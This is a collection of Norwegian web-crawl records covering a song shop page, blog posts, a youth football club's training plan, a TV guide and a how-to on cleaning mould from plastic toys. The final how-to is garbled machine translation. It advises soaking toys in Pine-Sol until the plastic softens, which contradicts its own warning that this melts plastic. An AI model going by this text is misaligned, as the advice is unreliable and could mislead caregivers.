{"url": "http://www.1001sang.no/index.php?main_page=product_info&cPath=5_69&products_id=115", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:44:32Z", "text": "# Fra yngre s\u00f8sken\n\n**Til broren v\u00e5r**  \n  \n14 vers  \nAnbefalt lengde: 6-8 vers  \n  \nDet er enkelt \u00e5 redigere sangen.  \n  \nDet er lett \u00e5 bytte ut navnet p\u00e5 konfirmanten.  \n\n#### H\u00f8r melodien:\n\nBamsens f\u00f8dselsdag\n\n## kr\u00a0149,-\n\n**Utdrag av sangen:**\n\nmel.: Bamsens f\u00f8dselsdag  \n  \nHan er v\u00e5r store helt, og vi ham nesegrus beundrer,  \nmen det er ogs\u00e5 noe som i grunnen oss forundrer.  \nHvorfor er han \u00abslem\u00bb iblant?  \nVi er snille \u2013 det er sant.  \nErter \u00abnesten\u00bb ikke no'.  \nEr \u00abnesten\u00bb helt i ro.  \n  \nDette verset kan selvf\u00f8lgelig byttes ut med et annet vers\n\n  \n  \nDu f\u00e5r tilsendt forslag til sang p\u00e5 7 vers.  \n  \n**Du f\u00e5r i alt 14 vers med dette innholdet:**  \n\u00a0\n\n|                                  |\n| -------------------------------- |\n| **Startvers**                    |\n| Super storebror                  |\n| Sjefen, synes vi maser           |\n| Stiller alltid opp, lekeslossing |\n| **Midtvers**                     |\n| Fotball tidligere                |\n| Fotball n\u00e5                       |\n| Krangler litt, gode venner       |\n| Litt erting                      |\n| Beskytter oss                    |\n| Herjer med oss, fotball          |\n| Beste bror p\u00e5 jord               |\n| Godt forhold                     |\n| Vi skal alltid hjelpe hverandre  |\n| **Sluttvers**                    |\n| Kjempeglad i deg                 |\n| Vi vil alltid st\u00f8tte deg         |\n\n\u00a0\n-----\n\n", "language": "no", "__index_level_0__": "0bf15ebc-702d-436c-9918-43df7292c854"}
{"url": "https://www.fotoplex.no/category.html/fjernutlosere-kamera", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:18:35Z", "text": "# Kamera\n\n\n\n  \nI denne kategorien finner du fjernutl\u00f8sere til kamera. Utvalget g\u00e5r helt fra enkle kabelutl\u00f8sere til under hundrelappen og opp til avanserte l\u00f8sninger som gir deg funksjonalitet langt utover det som kameraet eller blitsen i seg selv kan klare.\n\nDet finnes en mengde forskjellige type tilkoblinger til fjernutl\u00f8ser. Ofte kan det v\u00e6re\u00a0litt vanskelig \u00e5 finne ut hvilken kabel eller fjernutl\u00f8ser du trenger til akkurat ditt kamera.\n\nVed \u00e5 bruke verkt\u00f8yet \"**Kameravelger**\"\u00a0kan du p\u00e5 en enkel m\u00e5te finne ut om ditt kamera har tilkoblingsmulighet for fjernutl\u00f8ser, og i s\u00e5 fall hvilken type du trenger.\n\nDu finner kameravelgeren **her**.\n\nFinner du ikke kameraet ditt i listen? Ta kontakt med oss\\!\n\n", "language": "no", "__index_level_0__": "8704576f-2a10-4623-9eed-498cd952ef2c"}
{"url": "http://interiorogboligmessen.blogspot.com/2012/09/bli-med-kirsten-visdal-dekker-hstbord.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:27:41Z", "text": "Publikumsmesse i Bergen, Grieghallen. Possibility AS\n\n## mandag 24. september 2012\n\n### Bli med - Kirsten Visdal dekker h\u00f8stbord\n\n\n\nHer er hun selveste Kirsten Visdal - dama bak den popul\u00e6re boka\n\n**NATURLIGVIS.**\n\n**Jeg er utrolig takknemlig for at flere akt\u00f8rer i bransjen tar turen over fjellet til helgen, der i blant popul\u00e6re Kirsten Visdal. **\n\nPOPUL\u00c6RE PUTER FRA LISBETH NILSSON; tipper disse f\u00e5r f\u00f8tter \u00e5 g\u00e5 p\u00e5 til helgen.....:-)\\!\\!\n\n\n\u00a0\nGRAFISK OG FINT FRA LISBETH NILSSON SOM VIL VISES P\u00c5 KIRSTENS STAND.\n\n\u00a0\n\u00a0....jeg er ganske s\u00e5 overbevist om at dette kommer til \u00e5 bli inspirasjon de luxe for bes\u00f8kende.\n\n\u00a0\n\nLiker du Kirstens stil og m\u00e5te \u00e5 jobbe p\u00e5?\n\nKirsten st\u00e5r nemlig p\u00e5 lanseringsscenen og dekker h\u00f8stbord/holder foredrag. Hun\u00a0 dekorerer og styler med NATUREN som beste inspirasjon. B\u00e5de fredag og s\u00f8ndag kan du oppleve henne p\u00e5 scenen. \n\n\u00a0\nVelkommen.\n\n\n\u00a0\n#### 4 kommentarer:\n\n\n\n\n\nAnette Willemine sa...\n\nEnda en jeg gleder meg til \u00e5 se p\u00e5 messen\\!  \n  \n\u00d8nsker deg en ny fin ukestart\\! N\u00e5 er det ikke lenge til vi sees. :o)  \n  \nAnette Willemine\n\n\n\n\u00c5, fantastisk\\!  \n  \nN\u00e5 gler eg meg, om mogeleg, enda meir\\!\\! :)\n\n 24. september 2012 kl. 20:30    \n\n\n", "language": "no", "__index_level_0__": "e572c80e-156c-4c69-bf42-244b0251bb1a"}
{"url": "http://docplayer.me/498596-Sportsplan-for-gulset-fotball.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-25T00:33:25Z", "text": " Side 21 6.1 Aldersgruppen 16 19 \u00e5r: Juniorlag Side 21 6.\")\n\n3 1.0 Innledning Kj\u00e6re fotballtrener og lagleder i Gulset fotball. Denne sportsplanen er ment som en hjelp til deg som praktiserer som trener eller lagleder i klubben. Sportsplanens intensjon er \u00e5 gi viktig informasjon om alt fra klubbens struktur, visjon og verdier, til veiledning og tips i den daglige jobben p\u00e5 treningsfeltet. Strukturen er slik at det f\u00f8rst kommer litt generell informasjon om klubben. Deretter kommer det mer om de ulike aldersgruppenes treningshverdag. Her g\u00e5r vi fra yngst til eldst. Mot slutten kommer vi inn p\u00e5 sentrale temaer som hospitering, spillerutvikling og vi har linker til sider som kan v\u00e6re av interesse for deg som trener eller lagleder. Skulle det v\u00e6re mangler eller noe du \u00f8nsker endret i denne sportsplanen er det viktig at du gir tilbakemelding til lederen i Gulset fotball, slik at dokumentet oppdateres og er mest mulig brukervennlig. 3\n\n\n\n7 4.0 Barnefotballen (6-13 \u00e5r) Leder for barneavdelingen: Henrik Landsverk 6-10 \u00e5r Minigutter/Minijenter \u00e5r Lillegutter/lillejenter 5'er fotball (Ca. 7-8 spillere p\u00e5 hvert lag) Overgang fra 5 er til 7 er fotball (Maks spillere p\u00e5 hvert lag) Gulset fotball \u00f8nsker \u00e5 jobbe i tr\u00e5d med NFF\\`s handlingsplan n\u00e5r det gjelder barnefotballen. Det vil si at hovedm\u00e5let er: \u00abGi s\u00e5 mange barn som mulig et fotballtilbud og en fotballopplevelse preget av trygghet, mestring og trivsel gjennom b\u00e5de trening og kamp, samt deltakelse i sosiale og trygge lag- og klubbmilj\u00f8\u00bb. 4.1 Aldersgruppen 6 7 \u00e5r: Minigutter/ -jenter Hva skal l\u00e6res? Tekniske ferdigheter Hva skal l\u00e6res? Taktiske ferdigheter Aktivitetsniv\u00e5 - Ballmestring \u00absjef over ballen\u00bb - F\u00f8ringer - forflytte ball med kontroll - Vendinger - innside, utside og s\u00e5le (fokus kontroll) - Finter skuddfinte - Pasninger korte innsidepasninger b\u00e5de i ro og bevegelse - Mottak innside. Stoppe ball - Skudd b\u00e5de d\u00f8 og rullende. Vite at vrista b\u00f8r brukes, men ellers ingen instruksjon - Headinger - NFF minimerke (Bl\u00e5tt) - Forst\u00e5 at pasning kan v\u00e6re en god l\u00f8sning - Ut av pasningsskygge - Forst\u00e5 at klynge ikke l\u00f8nner seg 1 til 2 treninger per uke + kamp (Det skal vises fleksibilitet for andre idretter) Noen karakteristiske trekk for aldersgruppen 6-7 \u00e5r: Fysiske - Koordinasjonsevne utvikles Mentale: - Stor aktivitetstrang 7\n\n\n\n8 - Tar verbal instruksjon d\u00e5rlig - Kort konsentrasjonstid - Idealer og forbilder st\u00e5r sentralt - F\u00f8lsom for kritikk - Aggresjon rettes mot lagkamerater M\u00e5l for aldersgruppen: - Skape trygghet og sosialisering for spillerne i fotballmilj\u00f8et - Skape en god ramme rundt treningene og kampene - Innf\u00f8ring i element\u00e6re samv\u00e6rsregler: toleranse respekt disiplin - Innf\u00f8ring i enkle fotballregler - Motivere til fotball-lek utenom treninger - Lag deles inn p\u00e5 bakgrunn av det sosiale og barns behov for lek og trygghet. Alle er like verdifulle - Skape engasjement og gode holdninger i foreldregruppa (Foreldrevettreglene) - Etablere et godt st\u00f8tteapparat rundt lagene Spillernes hverdag: - Spillerne skal l\u00e6re \u00e5 m\u00f8te tidsnok til trening og kamp - Spillerne skal l\u00e6re \u00e5 ta ansvar for eget og lagets utstyr - Spillerne skal l\u00e6re \u00e5 vise respekt for medspillere, trenere, dommere og motstandere Hvordan skal det l\u00e6res: - I hovedsak skal all trening dreie seg om ball - Ha mange repetisjoner unng\u00e5 k\u00f8 - Bruk kort tid p\u00e5 hver \u00f8velse (for eksempel stasjonstrening 5 til 10 min p\u00e5 hver stasjon) - V\u00e6r kort og konkret i forklaringer - Spillerne skal oppmuntres til \u00e5 bruke begge bein - Vis \u00f8velsene tydelig - Aktivitetene skal tilrettelegges slik at spillerne f\u00e5r en enkel innf\u00f8ring i fotballferdighet - Skape erfaringer i situasjoner s\u00e6rlig knyttet til avslutninger p\u00e5 m\u00e5l 8\n\n Sette pasningstreningen i bevegelse.\")\n\n - Skape\")\n\n\n\n\n\n13 4.3.2 M\u00e5l for aldersgruppen: - Jobbe mer systematisk med ferdigheter og for \u00e5 utvikle kroppsbeherskelse - Videref\u00f8re trygghet og tilh\u00f8righet - Terperen - Terping p\u00e5 l\u00e6ringsmomenter og grunnleggende teknikk skal vektlegges - Skape engasjement og forst\u00e5else for grunnpilarene til Spill ikke spark i foreldregruppa - Skape lagf\u00f8lelse, et fundament for god treningskultur og forst\u00e5else for hva som skal til for \u00e5 bli en god fotballspiller - Samarbeide med ungdomsavdelingen for \u00e5 forberede spillerne p\u00e5 overgangen til 11\u00e8r fotball - Stort st\u00f8tteapparat ved \u00e5 inkludere foresatte flest mulig foresatte b\u00f8r ha et ansvarsomr\u00e5de rundt laget Spillernes hverdag: - Spilleren skal m\u00f8te tidsnok til trening og kamp med egnet treningst\u00f8y, fotballsko og leggskinn - Toleranse for andres og egne feil. Ikke kjefting - Respekt for medspillere, trenere, dommere og motstandere - Spillerne skal i st\u00f8rre grad ha ansvar for egen treningsgjennomf\u00f8ring - Spillerne skal m\u00f8te p\u00e5 trening med et klart m\u00e5l om \u00e5 utvikle ferdighetene sine i l\u00f8pet av treningen - Det skal etterstrebes like mye spilletid s\u00e5 fremt at man har likt oppm\u00f8te p\u00e5 treningene Hvordan skal det l\u00e6res: - All trening skal utf\u00f8res med ball - Terping gjennom mange repetisjoner - Vise \u00f8velser tydelig med korte og enkle forklaringer - Skape erfaring i situasjoner rundt spillets gang (forsvar, midtbane og angrep/ avslutninger) - Aktivitetene skal tilrettelegges med stor vekt p\u00e5 fotballferdigheter - All taktisk p\u00e5virkning m\u00e5 skje visuelt. Stopp spillet og vis - Skap stor aktivitet for \u00e5 p\u00e5virke fysiske egenskaper 13\n\n\n\n14 - Progresjon i \u00f8velsene - Samarbeid med ungdomsfotballen - Variasjon i spille\u00f8velser i form av liten bane til stor bane og touch begrensninger - Sett pasningstrening i sammenheng med spillevarianter - Bruk antall ber\u00f8ringer, banest\u00f8rrelse og overtall/undertall som virkemidler for \u00e5 f\u00e5 frem \u00f8vingsmomentene - Spille\u00f8velser skal utgj\u00f8re minst 50 % av hver trening - Her skal fotball v\u00e6re lek og leken skal v\u00e6re en stimulator for \u00e5 fortsette med fotballen - Enkel innf\u00f8ring i fotballens regler - Innf\u00f8ring av teknikker unng\u00e5 k\u00f8 p\u00e5 \u00f8velser - Alle \u00f8velser skal foreg\u00e5 med ball tilstreb at alle f\u00e5r mange ballber\u00f8ringer - Alle skal spille like lenge - Det jobbes videre med de samme momentene som p\u00e5 minigutter/ minijenter, men det er viktig at det skjer en videref\u00f8ring (at det legges opp til en progresjon). 14\n\n\n\n - P\u00e5virkning til egentrening - Dersom det er mange spillere i aldersgruppen kan det deles opp i flere lag.\")\n\n16 tyngdeoverf\u00f8ring, ulike oversteg med mer - Drible- og skjermeferdigheter - Mottak (legge til rette) h\u00f8y ball, lav ball, hard ball, ulike kroppsdeler. - Pasninger innside, utside, halvt liggende vrist (h\u00f8y / lav) - Innlegg - Heading til medspiller eller p\u00e5 m\u00e5l - Skudd vrist, innside, halvsprett, 1.touch og volley og hvorfor). Ta egne valg og se betydningen av dem) - Skape og utnytte 2 mot 1 situasjoner - Orientering uten ball hvilke muligheter \u00e5pner seg? - Rolletrening hva er sentrale oppgaver i den bestemte rollen. Hvordan samhandle med andre roller? - 1.-, 2.- og 3.- forsvarerferdigheter, samhandling og avstander (m.m.) - Bevissthet i forhold til pressh\u00f8yde - 1.forsvarerferdighet g\u00e5 n\u00e5r ball g\u00e5r, lede/presse, aggressivitet, takle Noen karakteristiske trekk for aldersgruppen: - Store forskjeller i fysisk og mental helse - Spillerne er sv\u00e6rt rettferdighetsbevisste - Noen har kraftig lengdevekst - Spillerne blir prestasjonsbevisste - Motorikken er i god utvikling - Holdninger blir lett skapt - Konsentrasjonsevnen er i god utvikling - Spillerne er \u00e6rgjerrige og l\u00e6renemme - Kreativiteten er i god utvikling - Store variasjoner i prestasjonsevnen og hum\u00f8r hos enkelte M\u00e5l for aldersgruppen: - Hvor og i hvilken divisjon lagene meldes p\u00e5 gj\u00f8res ut i fra en vurdering av trenere, spillere og foreldre - Tilstrebe at alle spillerne f\u00e5r et tilfredsstillende kamptilbud - Det skal gis ekstratilbud til de som vil mest med fotballen, i form av hospitering og - Spillerutviklingsgrupper (les eget punkt i sportsplan) Spillerens hverdag: - Vis mot ta egne valg\\! - Til \u00e5 leve Til \u00e5 bry seg 16\n\n - Bevissthet i forhold til pressh\u00f8yde - 1.\")\n\n17 - Spilleren skal m\u00f8te opp i god tid f\u00f8r trening og kamp. I Gulset \u00f8nsker vi \u00e5 skape en god garderobekultur, som for eksempel kan inneb\u00e6re at spillerne skifter og dusjer i garderoben ifm. trening og kamp. Det skal alltid v\u00e6re ryddig i garderoben n\u00e5r kamp/trening er ferdig - Spillere skal, i god tid, melde forfall til trener dersom han/hun ikke kan m\u00f8te til trening eller kamp - Det skal vises toleranse for andres feil og egne feil. Ikke kjefting - Respekt for medspillere, trenere, dommere og motstandere - N\u00e5r treneren prater lytter spillerne - Spillerne skal ha ansvarsf\u00f8lelse ovenfor utstyr og bidrar i fellesskap for at utstyr kommer p\u00e5 plass Hvordan skal det l\u00e6res: - Etterstreb s\u00e5 mange ballber\u00f8ringer som mulig per spiller per trening - Skap stor aktivitet for at treningen med ball ogs\u00e5 skal utvikle fysiske egenskaper - Sett pasningstreningen i en sammenheng, slik at det man trener p\u00e5 er funksjonelt i forhold til roller og spillem\u00f8nster - Sett ogs\u00e5 mye av innleggs- og avslutningstreningen i en sammenheng - Sm\u00e5lagsspill med maks 4 mot 4 (13 \u00e5ringer) og 6 mot 6 (14 \u00e5ringer) b\u00f8r dominere spilldelen av treningen - Spill p\u00e5 stor bane med flere spillere brukes kun for \u00e5 p\u00e5virke de taktiske momentene. Dette b\u00f8r ikke vektlegges p\u00e5 mer enn en trening i uken, da man kan benytte kamper til \u00e5 \u00f8ve p\u00e5 disse momentene - S\u00f8rg for at spillerne scorer mange m\u00e5l hver trening. Ingenting er morsommere\\! - Dette kan kombineres opp mot \u00f8velser som gir keeperne god trening. - Spille\u00f8velser b\u00f8r utgj\u00f8re minst 50 % av hver trening 17\n\n\n\n\n\n20 treningsopplegget - Spill p\u00e5 stor bane med flere spillere brukes mer en tidligere for \u00e5 p\u00e5virke de taktiske l\u00e6ringsmomentene. Dette er viktig for at spillerne f\u00e5r trent ferdighetene sine under h\u00f8y funksjonalitet - Det meste av taktiske p\u00e5virkning b\u00f8r skje visuelt i begynnelsen (frys spillet og vis) f\u00f8r man g\u00e5r mer over til l\u00f8pende coaching (mindre stopp) - S\u00f8rg for at spillerne scorer mange m\u00e5l hver trening. Ingenting er morsommere\\! - Dette kan kombineres opp mot \u00f8velser som gir keeperne god trening - Spille\u00f8velser skal utgj\u00f8re minst 50 % av hver trening 20\n\n\n22 muskelstyrken - Dette er perioden frem til full biologisk modenhet (18-20 \u00e5r) - Etablerer ny identitet og forandringer i personligheten - Sterke sosiale behov og sterke f\u00f8lelser og reaksjoner - Mange arenaer (fotball, skole, jobb, venner m.m.) M\u00e5l for aldersgruppen: - Det skal v\u00e6re etablert gode b\u00e5nd opp mot klubbens A-lag - Alle skal ha et tilfredsstillende kamptilbud - Spillerne skal v\u00e6re ambassad\u00f8rer for god treningskultur - Kartlegge og registrere potensielle trener- eller dommeremner. Tilstrebe og benytte disse inn mot barne- og ungdomsfotballen Spillerens hverdag: - Vis mot ta egne valg\\! - MOT\\`s Verdier - Spilleren skal m\u00f8te opp i god tid f\u00f8r trening og kamp. At det alltid er ryddig i garderoben n\u00e5r kamp/trening er ferdig - Spillere skal, i god tid, melde forfall til trener dersom han/hun ikke kan m\u00f8te til trening eller kamp - Det skal vises toleranse for andres feil og egne feil. Ikke kjefting - Respekt for medspillere, trenere, dommere og motstandere - N\u00e5r treneren prater, s\u00e5 lytter spillerne - Spillerne skal ha ansvarsf\u00f8lelse ovenfor utstyr og bidrar i fellesskap for at utstyr kommer p\u00e5 plass - Spillerne skal m\u00f8te p\u00e5 trening med et klart m\u00e5l om \u00e5 utvikle ferdighetene sine i l\u00f8pet av treningen - Spillerne skal v\u00e6re bevisst p\u00e5 hvilke omr\u00e5der man jobber med og komme forberedt p\u00e5 trening - Spillerne skal v\u00e6re opptatt av sin egen treningshverdag og hva de selv kan gj\u00f8re for \u00e5 utvikle seg videre (dersom dette er en m\u00e5lsetning for spillerne) - Det b\u00f8r opprettes et spillerutvalg som fungerer som et bindeledd mellom spillergruppe og trener - Spillerne skal maksimum spille 2 kamper i uken, bortsett fra turneringer 22\n\n23 6.1.5 Hvordan skal det l\u00e6res: - Etterstreb s\u00e5 mange ballber\u00f8ringer som mulig per spiller per trening - Skap stor aktivitet for at treningen med ball ogs\u00e5 skal utvikle fysiske egenskaper - Fors\u00f8k \u00e5 sette pasningstreningen i en sammenheng, slik at det man trener p\u00e5 er funksjonelt i forhold til roller og spillem\u00f8nster - Sett ogs\u00e5 mye av innleggs- og avslutningstreningen i en sammenheng - Sm\u00e5lagsspill med maks 4 mot 4 og 6 mot 6 b\u00f8r fortsatt ha h\u00f8y prioritet i treningsopplegget. - Tren p\u00e5 tiln\u00e6rmet full bane, hvor det kan vektlegges \u00e5 jobbe med ledd offensivt og defensivt (for eksempel 8 mot 8) - Spill p\u00e5 stor bane med flere spillere brukes mer en tidligere for \u00e5 p\u00e5virke de taktiske l\u00e6ringsmomentene. Dette er viktig for at spillerne f\u00e5r trent ferdighetene sine under h\u00f8y funksjonalitet - Det meste av taktiske p\u00e5virkning b\u00f8r skje visuelt i begynnelsen (frys spillet og vis) f\u00f8r man g\u00e5r mer over til l\u00f8pende coaching (mindre stopp) - S\u00f8rg for at spillerne scorer mange m\u00e5l hver trening. Ingenting er morsommere\\! - Dette kan kombineres opp mot \u00f8velser som gir keeperne \u00e5r - \u00e0 : Seniorlag A - Her skal man jobbe videre med momentene fra tidligere \u00e5r, og videreutvikle disse - Det er viktig at treneren setter fokus p\u00e5 prestasjon, men her m\u00e5 resultatet ogs\u00e5 settes i fokus - Opprykk til 5 divisjon \u00e5r - \u00e0 : Seniorlag B - Best\u00e5r i hovedsak av spillere fra a-lag og juniorlag. - Fokusere p\u00e5 prestasjon - ikke resultat - Dette laget skal v\u00e6re med \u00e5 gi alle seniorspillere i Gulset et kamptilbud 23\n\n", "language": "no", "__index_level_0__": "89e74f08-e8af-4858-a7f8-5c63beb671c9"}
{"url": "https://www.natgeotv.com/no/tvguide/natgeo/20180107", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:32:15Z", "text": "    En Boeing 737 kommer ut av kontroll under nedstigningen og ti sekunder senere er alle 20 passasjerene d\u00f8de. Resultatet var en av de lengste og dyreste etterforskningene i amerikansk luftfartshistorie.\n    \n    Tim og Fuzz drar til Leeds for \u00e5 se p\u00e5 en av de fineste britiske sportsbilene som ingen har h\u00f8rt om \u2013 AC Aceca.\n    \n", "language": "no", "__index_level_0__": "0843dc28-5b6a-4a37-b7f5-585869a3e244"}
{"url": "http://daisishome.blogspot.com/2012/02/det-enkle-er-ofte-det-beste.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00203.warc.gz", "warc_date": "2018-03-24T23:45:34Z", "text": "\n\n## torsdag 9. februar 2012\n\n### Det ENKLE er ofte det BESTE\n\n\n\n  \nM\u00e5 si meg enig i det ....  \n  \n  \nEtter \u00e5 ha v\u00e6rt litt slappis p\u00e5 bloggen den siste tiden s\u00e5 sl\u00e5r jeg til med et aldri s\u00e5 lite kj\u00f8kken innlegg idag.  \nKanskje ikke s\u00e5 alt for ofte at det er blitt blogget ifra dette rommet.  \n  \n  \n  \n\n\n  \n\u00a0Denne gamle vindusrammen p\u00e5satt h\u00f8nsenetting,\u00a0har f\u00e5tt fungere som \"pynt\" mellom kj\u00f8kkenskapa her siden det ble bygget vegg mellom stua og kj\u00f8kkenet Var nemelig \u00e5pen l\u00f8sning her f\u00f8r, en s\u00e5nn typisk 80 talls kj\u00f8kken\u00a0\"barl\u00f8sning\" .  \n  \nS\u00e5 for \u00e5 gj\u00f8re noe annet enn \u00e5 lage flisvegg, dukket denne l\u00f8sningen opp.  \n  \n  \nVeggene her er malt med metall grunning\u00a0:) Ja, dere leste riktig\u00a0\u00a0nok en ide som plutselig dukket opp og som bare m\u00e5tte pr\u00f8ves.   \nDette ble super bra og ga det\u00a0den s\u00f8lvgr\u00e5e slutt finishen som jeg hadde h\u00e5pet p\u00e5.\u00a0  \n  \n  \n  \nVindusrammen er n\u00e5 \"ribbet\"\u00a0for alt som heter\u00a0st\u00e6sj noe som igjen\u00a0gir et ryddigere og renere inntrykk.Kjekt det \u00e5 kunne variere med eller uten pynt :)  \n  \n  \n  \n\u00a0Krukkene er praktisk til oppbevaring av kjeks og div. som passer fint\u00a0 ved cafe baren ...\u00a0 er \u00a0jo \"pynt\" i seg selv her de st\u00e5r :)Kunne ogs\u00e5\u00a0gjerne tenkt meg den st\u00f8rste str. av disse skj\u00f8nne krukkene :)  \n  \n  \nIkke alltid det er s\u00e5 mye som skal til for \u00e5 f\u00e5 litt forandring.  \n  \n  \n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Upps.... s\u00e5 va helgen like om hj\u00f8rnet*  \n  \n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Ha en fin helgestart folkens *  \n  \n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Sissel *  \n  \n18:55           \n\n#### 10 kommentarer:\n\n\n\n\n\nTorilpia sa...\n\nEnig med du .. selv om jeg har alt for mye ting og tang .. og alt for mange farger p\u00e5 \u00e8n gang .. :o)  \n  \nLiker m\u00e5ten du har brukt vindusrammen i mellom over- og underskap .. samt den gr\u00e5 veggen bak .. :o)  \n  \nHa ei super helg Sissel - h\u00e5per formen er fiiin .. :o)  \n  \nStor klem\\!\\!\n\n 9. februar 2012 kl. 20:34    \n\n\n\n\n\nsisselastrid sa...\n\nLurt med ei slik ramme for \u00e5 \"bryte\" opp mellom skap og benk :) Fint med kvit kj\u00f8kkeninnredning - dr\u00f8yme om det ;)  \n  \nKlem\n\n 9. februar 2012 kl. 20:45    \n\n\n\n\n\nFru Hansens Kreativiteter sa...\n\nFlott l\u00f8sning :)  \nForn\u00f8yd med malingen ?  \nLyst til \u00e5 pr\u00f8ve p\u00e5 noe her i heimen :)  \nHa en str\u00e5lende helg  \nklem ingrid\n\n 9. februar 2012 kl. 22:49    \n\n\n\n\n\nMor Inger\\`s hus sa...\n\nBle skikkelig fint med den vindusramma m. h\u00f8nsenetting. Og den gr\u00e5 veggen ser helt super ut - lett \u00e5 holde rent??  \n  \nInger\n\n 9. februar 2012 kl. 23:26    \n\n\n\n\n\nHa en trivelig og fin helg :)  \nKlem ;)\n\n 10. februar 2012 kl. 07:52    \n\n\n\n\nPia Maria sa...\n\nHei sissel =) Utrolig pent n\u00e5r det ikke er \u00e5 mye, som du sier det enkle er ofte det beste =)  \n  \nGod helg til deg og dine her blir det venninnebes\u00f8k snart og hjemmelaget Sushi... NAM NAM.  \nKlem Pia Maria\n\n 11. februar 2012 kl. 14:10    \n\n\n\n\n\nMorsomt innslag med den rammen. R\u00f8fft med malingen. Ja noen ideer m\u00e5 bare gripes ;)  \n  \n\u00d8nsker deg en flott helg ;)\n\n 11. februar 2012 kl. 17:37    \n\n\n\n\n\nLilla Kullan sa...\nBra id\u00e9.:) Kram Stina\n\n 12. februar 2012 kl. 20:29    \n\n\n\n\n\nLottemora sa...\n\nS\u00e5 fin den var uten st\u00e6sj.  \n  \nHa en fin kveld  \n  \nLotte\n\n 13. februar 2012 kl. 17:52    \n\n## HUSK\n\n\u00c5ndsverkloven \u00a7 1 lyder slik: \"Den som skaper et \u00e5ndsverk, har opphavsrett til verket.\" Alle bildene jeg bruker er mine private, med mindre annet er oppgitt. Det er ikke greit \u00e5 l\u00e5ne dem uten min tillatelse\n\n    \n\n## dette bilde fikk 2.plass i Kid interi\u00f8r sommerkonkurranse.\n\n", "language": "no", "__index_level_0__": "1e763893-bd3d-447b-8d18-17c61166ca8c"}
{"url": "http://dobing.info/17/2010/01/hvor-a-fjerne-mugg-fra-plastleke-utstyr.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00258.warc.gz", "warc_date": "2018-03-24T23:45:49Z", "text": "# hvor \u00e5 fjerne mugg fra plastleke utstyr\n\n  \n  \n|  |\n|  |\n|  |\n\nPlast er et sv\u00e6rt popul\u00e6rt materiale \u00e5 bruke i leket\u00f8y av alle typer. Det er lett dannes og kan bli kastet i en rekke farger, og de fleste former er ikke giftig. Som plast alder, m\u00e5 de holdes rene for bakterier og mugg for \u00e5 hindre skade p\u00e5 materialet selv. Ofte kan mugg fjernes fra disse typer av leker f\u00f8r det blir for omfattende og bryter ned strukturen i leket\u00f8y. Harsh slipemidler og skrubbing verkt\u00f8y vil \u00f8delegge et leket\u00f8y, s\u00e5 m\u00e5 man v\u00e6re forsiktig \u00e5 fjerne mugg trygt og helt.\n\n#### Du trenger:  \nPlast leket\u00f8y  \n. B\u00f8tte.  \nPine-Sol rengj\u00f8ringsmiddel.  \nVann.  \nTannb\u00f8rste.  \n\n  \nen.  \nFyll b\u00f8tta med nok vann til \u00e5 dekke den plastleke. Separate leker og vask hver individuelt om rengj\u00f8ring mer enn \u00e9n.  \nTo.  \nLegg til en lik mengde Pine-Sol renere til b\u00f8tta. Swish st\u00f8vsugeren rundt for \u00e5 blande Pine-Sol og vann.  \nTre.  \nLa leket\u00f8y for \u00e5 hvile i Pine-Sol-l\u00f8sning over natten, eller til plasten begynner \u00e5 f\u00f8le myk \u00e5 touch.  \nfire.  \nB\u00f8rst vekk noen fysiske tegn til mugg mens leken er nedsenket i l\u00f8sningen. Dette vil drepe resterende muggsoppsporer som kanskje ikke kommer ut med de viktigste oppdateringen.  \nFem.  \nVask leke med rent vann og la t\u00f8rke godt f\u00f8r spillet. Formen skal n\u00e5 v\u00e6re renset bort og leken renovert.  \n\n#### Tips og advarsler\n\n  \n\nTa leket\u00f8y du merker mykhet i plast. Pine-Sol kan ta dager \u00e5 smelte plast, men det kan skade sv\u00e6rt tynne stykker i s\u00e5 lite som en til to timer.\n\nPine-Sol renere vil fjerne de fleste malinger p\u00e5 leker og mold. Ikke bruk denne metoden hvis leken er malt med mindre du vil at malingen tatt av i tillegg.\n\n|  |  |\n|  |  |\n|  |  |\n\n> P\u00e5 Dobing.info gj\u00f8r du alltid et godt valg n\u00e5r du kj\u00f8per en hobby / dekorasjon. Vi har et stort utvalg av h\u00f8ykvalitets produkter. Vi har 1514 stk ulike hobby-materialer fra merker som Efco og avec, American Craft, SEI, MosaixSoft, MosaixPro, Mosaix og MosaixPur. Blant annet knapper, plast figurer, mosaikker, wire stjerner med perler og tekstilvarer\\!\n", "language": "no", "__index_level_0__": "ab02ef49-9d4d-480a-9741-b63b487cce68"}
